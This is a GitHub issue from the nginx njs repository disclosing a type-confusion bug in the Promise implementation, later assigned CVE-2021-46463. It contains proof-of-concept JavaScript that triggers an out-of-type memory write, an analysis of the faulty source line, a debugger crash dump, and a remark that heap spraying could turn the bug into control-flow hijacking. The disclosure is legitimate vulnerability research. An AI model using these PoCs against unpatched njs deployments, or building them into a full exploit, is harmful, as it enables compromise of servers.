nginx / njs

A subset of JavaScript language to use in nginx
http://nginx.org/en/docs/njs/
BSD 2-Clause "Simplified" License
1.17k stars 152 forks source link

Control flow hijack caused by Type Confusion of Promise object #447

Closed P1umer closed 2 years ago

P1umer commented 2 years ago

Env

Version    : 0.7.0
Git Commit : bb796f7b3f3b65a78248f3ba86d0929eb292ca8e
OS         : Ubuntu 20.04
Configure  : ./Configure --address-sanitizer=YES

Poc

function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    const v7 = Promise.race(v5);
    console.log(o)
}
main();

Analysis

The output of the above poc is as follows:

Promise [1,2,3,4.000000000000001,5,6]

If I comment out Promise.race(v5):

function main() {
    function v0(v1,v2) {
        return 1
    }
    var o = [1,2,3,4,5,6]
    const v1 = new Promise(v0);
    o.__proto__= v1;
    const v5 = [o];

    // const v7 = Promise.race(v5);
    console.log(o)
}
main();

Then the output will be normal as follows:

Promise [1,2,3,4,5,6]

This is because njs_promise_perform_then has Type Confusion vuln when dealing with promise objects. The code data->is_handled = 1 will write the integer 1 to is_handled field of data that has been confused as njs_promise_data_t, although data may be of other types actually.

njs_int_t
njs_promise_perform_then(njs_vm_t *vm, njs_value_t *value,
    njs_value_t *fulfilled, njs_value_t *rejected,
    njs_promise_capability_t *capability)
{
    njs_int_t               ret;
    njs_value_t             arguments[2];
    njs_promise_t           *promise;
    njs_promise_data_t      *data;
[...]

    promise = njs_promise(value);
    data = njs_data(&promise->value);

[...]

    data->is_handled = 1;

[...]

    return NJS_OK;
}

Therefore, when we try to change the data to the Symbol type:

function main() {
    const v1 = new Promise(()=>{});
    Symbol.__proto__ = v1;
    const v5 = [Symbol];
    const v7 = Promise.race(v5);
}
main();

The following error will be reported as expected:

Program received signal SIGSEGV, Segmentation fault.
0x00000000005f2e77 in njs_promise_perform_then (vm=<optimized out>, value=<optimized out>, fulfilled=<optimized out>, rejected=<optimized out>, capability=<optimized out>) at src/njs_promise.c:999
999     data->is_handled = 1;
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
 RAX  0x9db00
 RBX  0x7fffffff9d60 —▸ 0x7fffffff0112 ◂— 0x0
 RCX  0xc4800000437 ◂— 0x0
 RDX  0xc4800000438 ◂— 0x0
 RDI  0x6240000021b8 —▸ 0x6250000d17b8 ◂— 0x6240000021b8
 RSI  0x7fffffff9d40 ◂— 0xe483485354415541
 R8   0x4edeb8 (njs_symbol_constructor+56) ◂— add    dh, byte ptr [rcx]
 R9   0x614000009c68 —▸ 0x6100000000a0 ◂— 0x614000009c68
 R10  0x98
 R11  0x614000008858 ◂— 0x200000000000
 R12  0x6250000c8d80 —▸ 0x6250000c8d00 ◂— 0x116
 R13  0x7fffffff9d40 ◂— 0xe483485354415541
 R14  0x6250000d17c0 —▸ 0x6240000021b8 —▸ 0x6250000d17b8 ◂— 0x6240000021b8
 R15  0x6250000c8d00 ◂— 0x116
 RBP  0x7fffffff9e10 —▸ 0x7fffffff9f10 —▸ 0x7fffffff9f50 —▸ 0x7fffffffa060 —▸ 0x7fffffffa1b0 ◂— ...
 RSP  0x7fffffff9d20 ◂— 0x41b58ab3
 RIP  0x5f2e77 (njs_promise_perform_then+1831) ◂— mov    dword ptr [r8], 1
────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
 ► 0x5f2e77 <njs_promise_perform_then+1831>    mov    dword ptr [r8], 1 <0x4edeb8>
   0x5f2e7e <njs_promise_perform_then+1838>    test   r15, r15
   0x5f2e81 <njs_promise_perform_then+1841>    je     njs_promise_perform_then+1852 <njs_promise_perform_then+1852>

   0x5f2e83 <njs_promise_perform_then+1843>    mov    rdi, qword ptr [rbx + 8]
   0x5f2e87 <njs_promise_perform_then+1847>    mov    rsi, r15
   0x5f2e8a <njs_promise_perform_then+1850>    jmp    njs_promise_perform_then+1863 <njs_promise_perform_then+1863>
    ↓
   0x5f2e97 <njs_promise_perform_then+1863>    call   njs_vm_retval_set <njs_vm_retval_set>

   0x5f2e9c <njs_promise_perform_then+1868>    xor    eax, eax
   0x5f2e9e <njs_promise_perform_then+1870>    mov    rcx, qword ptr [rbx + 0x18]
   0x5f2ea2 <njs_promise_perform_then+1874>    mov    rsi, qword ptr [rbx + 0x48]
   0x5f2ea6 <njs_promise_perform_then+1878>    mov    word ptr [rsi + 0x7fff8004], 0xf8f8
─────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────
In file: /home/p1umer/Git/njs/src/njs_promise.c
    994         if (njs_slow_path(ret != NJS_OK)) {
    995             return ret;
    996         }
    997     }
    998 
 ►  999     data->is_handled = 1;
   1000 
   1001     if (capability == NULL) {
   1002         njs_vm_retval_set(vm, &njs_value_undefined);
   1003 
   1004     } else {
─────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────
00:0000│ rsp     0x7fffffff9d20 ◂— 0x41b58ab3
01:0008│         0x7fffffff9d28 —▸ 0x66e001 ◂— '1 32 16 21 arguments.sroa.11:930'
02:0010│         0x7fffffff9d30 —▸ 0x5f2750 (njs_promise_perform_then) ◂— push   rbp
03:0018│         0x7fffffff9d38 —▸ 0x494567 (__asan_memset+311) ◂— add    rsp, 0x820
04:0020│ rsi r13 0x7fffffff9d40 ◂— 0xe483485354415541
05:0028│         0x7fffffff9d48 ◂— 0xe3894840ec8348e0
06:0030│         0x7fffffff9d50 —▸ 0x6250000c1900 ◂— 0x0
07:0038│         0x7fffffff9d58 ◂— 0x0
───────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────
 ► f 0         0x5f2e77 njs_promise_perform_then+1831
   f 1         0x5fb5b6 njs_promise_prototype_then+966
   f 2         0x53a2ed njs_function_native_call+221
   f 3         0x53892a njs_function_call2+1082
   f 4         0x53892a njs_function_call2+1082
   f 5         0x5fb0ff njs_promise_perform_race_handler+527
   f 6         0x5fb0ff njs_promise_perform_race_handler+527
   f 7         0x5fb0ff njs_promise_perform_race_handler+527
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

We deliberately introduce the non-writable njs_symbol_constructor to prove the validity of the vulnerability. Of course, this primitive can be used to confuse OTHER types of objects, and combined with heap spray technology to achieve control flow hijacking.

Found by

P1umer, Kotori, afang5472 @ IIE NeSE

P1umer commented 2 years ago

This issue was assigned CVE-2021-46463.